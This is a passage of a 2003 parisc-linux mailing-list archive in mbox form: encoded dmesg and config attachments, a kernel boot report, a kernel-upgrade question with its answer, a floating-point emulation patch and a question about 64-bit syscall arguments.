HIJ36ejVbRrnajktMZFfo8RT7Bw9Ak2UgvLGzVu8SiLp8WWEOueNknIz4jVw977L47cax0PgKNrH
KPAdg4cGb6H2VWSPMjglLeykhWaoaVM1aUxbaA3S8bsKvweU00n9GAgXyPdr704HgutwtoAE0pTM
9n1c63XCz2b77eQuyFeJ27ITDKdFQfItV7rHgqPy0Myd0WDQqe36u2Oyesn5A2CKdb6rpbMYBDoV
cb5QM9p+i81dlfXEi3y5j0ohOVehgeT6/Az/YC/66qU9x2rxnO7ZXB9Dpe8oumx8rlorIIaSpJaw
qdNav6U49rx57LFDkGpKZvvUs+iPH45857bBa84jfs97tVaqGOnLWUmNkTQ5yRlrnebXi9JT/ei5
lY8pxPdV5OwnTFs95iIvrJsPM4VCuDVW+i121WFM4Tkwbo0xVIX0kOq7UZYnRRPUf9+efzzk+eKF
yz52lCUzWpw4/AStaNg89s3sKIcLSzOjzcs+egGnaLR3TH54Qbr/M9mlw+Ht6Kv+Z2Wvpnh8IdRF
Exr2e/IPwmqgu6tAd7eXQcPbzjWg7jWgq5a7QvDh4BqZBvo1oGsEH/SuAfWvAV2jgsHgGtDoMmjU
u2Km0TUGHvWu0NOof4VMwzu1nuDmE74fDi9Po3evERtQuiwYVtbSa0GwQuheFLN3EXF5q7cXEYOL
iLuLiNFFhH55M3r/kipvz3U5c9gw9JQzF+RASQ58Y9i4XydZtH1Nnnay2s0YN2vuFOovuIlXyW67
jt4/igcZ83yCZOVo5SW2nc591lLOFu8gBzr8awaWze/1QUcOEB8y3w/6UuLxS7F0v1nV6m3RwGlo
IOBj2XbFcPODv32cp2n+KmMY+7LPcJ+Tdf0huvIJq/hYQfbp1Ex0iNfaa/T0q3yROqaJkLGHM/EI
Y1ZfOsQoN9G48iU4Es/7kNN5D1WXmyHT5EuLS1okT+VH3qeX8EqXAgce85dN18net3n6UvqbjBN7
S9dvNlPN5GcWZe9alu7zZBOfseB6JP0/DrXG+CEvAAA=

--Multipart_Sun__12_Jan_2003_02:10:41_+0100_1024c010
Content-Type: application/octet-stream;
 name="dmesg-2.5.56-a500.gz"
Content-Disposition: attachment;
 filename="dmesg-2.5.56-a500.gz"
Content-Transfer-Encoding: base64

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
IwAA

--Multipart_Sun__12_Jan_2003_02:10:41_+0100_1024c010--


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.56-pa0 64bit successful boot
Date: Sat, 11 Jan 2003 20:02:10 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030112030210.GA28585@dsl2.external.hp.com>
References: <20030112021041.32cfbb84.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622100 19765 80.91.229.3 (22 Nov 2014 02:08:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 11 20:02:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2CBC74829; Sat, 11 Jan 2003 20:02:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030112021041.32cfbb84.varenet@esiee.fr>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17347

On Sun, Jan 12, 2003 at 02:10:41AM +0100, Thibaut VARENE wrote:
> Hi pa-ckers!
> 
> I just tested fresh 2.5.56 and successfully booted 64bit UP kernel.
> Linux mkhppa3 2.5.56-pa0 #2 Sun Jan 12 01:34:36 CET 2003 parisc64 unknown unknown GNU/Linux

cool!

> I had some errors with SCSI and SERIAL (see the attached dmesg and .config).
> I'll have a look at them ASAP.

you can also post them here...I'll be able to look at them tomorrow.

> FWIW, SMP kernel with the exact same configuration died just at:
> POSIX conformance testing by UNIFIX

What's the UP kernel say after that when it boots?

thanks,
grant


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] upgrading kernel
Date: Sun, 12 Jan 2003 18:36:56 +1100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030112073656.GB13397@piglet2>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622100 19766 80.91.229.3 (22 Nov 2014 02:08:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:20 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 00:33:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04bw.bigpond.com (mta04bw.bigpond.com [139.134.6.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A3CE4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 00:33:47 -0700 (MST)
Original-Received: from piglet2.sspl.net.au ([144.135.24.81]) by
          mta04bw.bigpond.com (Netscape Messaging Server 4.15 mta04bw Jul
          16 2002 22:47:55) with SMTP id H8LBO800.5Z6 for
          <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 17:33:44 +1000 
Original-Received: from CPE-203-51-30-119.nsw.bigpond.net.au ([203.51.30.119]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V3.0n 44/25649915); 12 Jan 2003 17:33:44
Original-Received: from pete by piglet2.sspl.net.au with local (Exim 3.35 #1 (Debian))
	id 18Xcfx-0007m2-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 18:36:57 +1100
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Operating-System: Linux/2.2.20-idepci (i586)
X-Uptime: 15:28:04 up 16 days, 15:58,  7 users,  load average: 0.09, 0.03, 0.01
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17348

Hi Everyone,

Is upgrading the kernel for a stable system the same as for i386?  I
haven't done this with debian before.. but I'm sure there's something
debian about doing it.. :)

I'll find the relevant doco.. just want to know if it's the same for
the HPPA stuff.

Thanks,


Pete
:wq


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrading kernel
Date: Sat, 11 Jan 2003 23:35:06 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030112073506.GB1177@tausq.org>
References: <20030112073656.GB13397@piglet2>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622101 19772 80.91.229.3 (22 Nov 2014 02:08:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:21 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 00:37:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 560754829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 00:37:16 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B77CDCD3A7; Sat, 11 Jan 2003 23:35:06 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030112073656.GB13397@piglet2>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17349

> Is upgrading the kernel for a stable system the same as for i386?  I
> haven't done this with debian before.. but I'm sure there's something
> debian about doing it.. :)
> 
> I'll find the relevant doco.. just want to know if it's the same for
> the HPPA stuff.

Check out the "Kernel installation" section of the parisc linux boot
howto

http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/kernelinstall.html

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Sun, 12 Jan 2003 00:37:33 -0800
Lines: 89
Approved: news@gmane.org
Message-ID: <20030112083733.GE1177@tausq.org>
References: <20030111061638.GH31470@tausq.org> <200301111831.h0BIVwZS006398@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622101 19773 80.91.229.3 (22 Nov 2014 02:08:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:21 +0000 (UTC)
Cc: jim.hull@hp.com, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 01:40:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 245324829
	for <parisc-linux@parisc-linux.org>; Sun, 12 Jan 2003 01:40:13 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id F1AC7CD3A7; Sun, 12 Jan 2003 00:37:33 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200301111831.h0BIVwZS006398@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17350

> I think that you probably should always use a 3-bit extract.  If the
> value is greater than 3 on a PA 1.1 FPU, then the operation is undefined.
> 4 is also undefined for PA 2.0.

I guess that'll work, altho there are also some paths that are pcx-s and
pcx-t specific, so we probably still need to determine what processor we
are running on

> The above assumes that the kernel doesn't provide PA 2.0 emulation
> on PA 1.1 machines.

yup, that should be a reasonable assumption.

anyway, here's what i'm considering to commit to our kernel tree. it 
has been tested to work with the fcnv code posted earlier. haven't 
tested the other cases yet. it's very much a hack. comments?

Index: arch/parisc/math-emu/driver.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/math-emu/driver.c,v
retrieving revision 1.1
diff -u -p -r1.1 driver.c
--- arch/parisc/math-emu/driver.c	20 Jul 2002 16:32:35 -0000	1.1
+++ arch/parisc/math-emu/driver.c	12 Jan 2003 08:39:10 -0000
@@ -86,8 +86,12 @@ handle_fpe(struct pt_regs *regs)
 	int signalcode;
 	/* need an intermediate copy of float regs because FPU emulation
 	 * code expects an artificial last entry which contains zero
+	 *
+	 * also, the passed in fr registers contain one word that defines
+	 * the fpu type. the fpu type information is constructed 
+	 * inside the emulation code
 	 */
-	__u64 frcopy[33];
+	__u64 frcopy[36];
 
 	memcpy(frcopy, regs->fr, sizeof regs->fr);
 	frcopy[32] = 0;
Index: arch/parisc/math-emu/fpudispatch.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/math-emu/fpudispatch.c,v
retrieving revision 1.1
diff -u -p -r1.1 fpudispatch.c
--- arch/parisc/math-emu/fpudispatch.c	20 Jul 2002 16:32:35 -0000	1.1
+++ arch/parisc/math-emu/fpudispatch.c	12 Jan 2003 08:39:10 -0000
@@ -51,6 +51,7 @@
 
 #include "float.h"
 #include "types.h"
+#include <asm/processor.h>
 /* #include <sys/debug.h> */
 /* #include <machine/sys/mdep_private.h> */
 
@@ -166,6 +167,20 @@ static void update_status_cbit();
 
 #define VASSERT(x)
 
+static void parisc_linux_get_fpu_type(u_int fpregs[])
+{
+	/* on pa-linux the fpu type is not filled in by the
+	 * caller; it is constructed here  
+	 */ 
+	if (boot_cpu_data.cpu_type == pcxs)
+		fpregs[FPU_TYPE_FLAG_POS] = TIMEX_EXTEN_FLAG;
+	else if (boot_cpu_data.cpu_type == pcxt ||
+	         boot_cpu_data.cpu_type == pcxt_)
+		fpregs[FPU_TYPE_FLAG_POS] = ROLEX_EXTEN_FLAG;
+	else if (boot_cpu_data.cpu_type >= pcxu)
+		fpregs[FPU_TYPE_FLAG_POS] = PA2_0_FPU_FLAG;
+}
+
 /*
  * this routine will decode the excepting floating point instruction and
  * call the approiate emulation routine.
@@ -183,6 +198,8 @@ fpudispatch(u_int ir, u_int excp_code, u
 
 	/* All FP emulation code assumes that ints are 4-bytes in length */
 	VASSERT(sizeof(int) == 4);
+
+	parisc_linux_get_fpu_type(fpregs);
 
 	fpu_type_flags=fpregs[FPU_TYPE_FLAG_POS];  /* get fpu type flags */
 
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem with our syscall() implementation
Date: Sun, 12 Jan 2003 00:57:50 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20030112085750.GG1177@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622101 19774 80.91.229.3 (22 Nov 2014 02:08:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 02:00:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B08E04829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 02:00:38 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 89CA0CD3A7; Sun, 12 Jan 2003 00:57:50 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17351

glibc provides an interface to call a system call from userspace
directly using the syscall() function.  The glibc exported interface for
syscall() is variadic (int syscall(int sysno, ...))

for hppa, the implementation has this prototype:

int syscall (int sysnum, int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)

one problem with this is that one cannot reliably pass 64-bit values
into the kernel. for example, if i want to call a syscall with this
signature:

sys_foo(uint64_t x, int y, int z)
(let's say sys_foo has syscall number 300)

the x argument does not end up in arg0... instead it seems to be spread
across arg1 and arg2 (because of register alignment, i suppose)

is there any way to write syscall() so that we can pass 64-bit values
reliably?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrading kernel
Date: Sun, 12 Jan 2003 22:02:19 +1100
Lines: 26
Approved: news@gmane.org
Message-ID: <20030112110219.GC13397@piglet2>
References: <20030112073656.GB13397@piglet2> <20030112073506.GB1177@tausq.org>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622102 19779 80.91.229.3 (22 Nov 2014 02:08:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:22 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 12 03:59:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta05ps.bigpond.com (mta05ps.bigpond.com [144.135.25.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89FC54829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 03:59:12 -0700 (MST)
Original-Received: from piglet2.sspl.net.au ([144.135.25.87]) by
          mta05ps.bigpond.com (Netscape Messaging Server 4.15 mta05ps Jul
          16 2002 22:47:55) with SMTP id H8LL6G00.53B for
          <parisc-linux@lists.parisc-linux.org>; Sun, 12 Jan 2003 20:59:04 +1000 
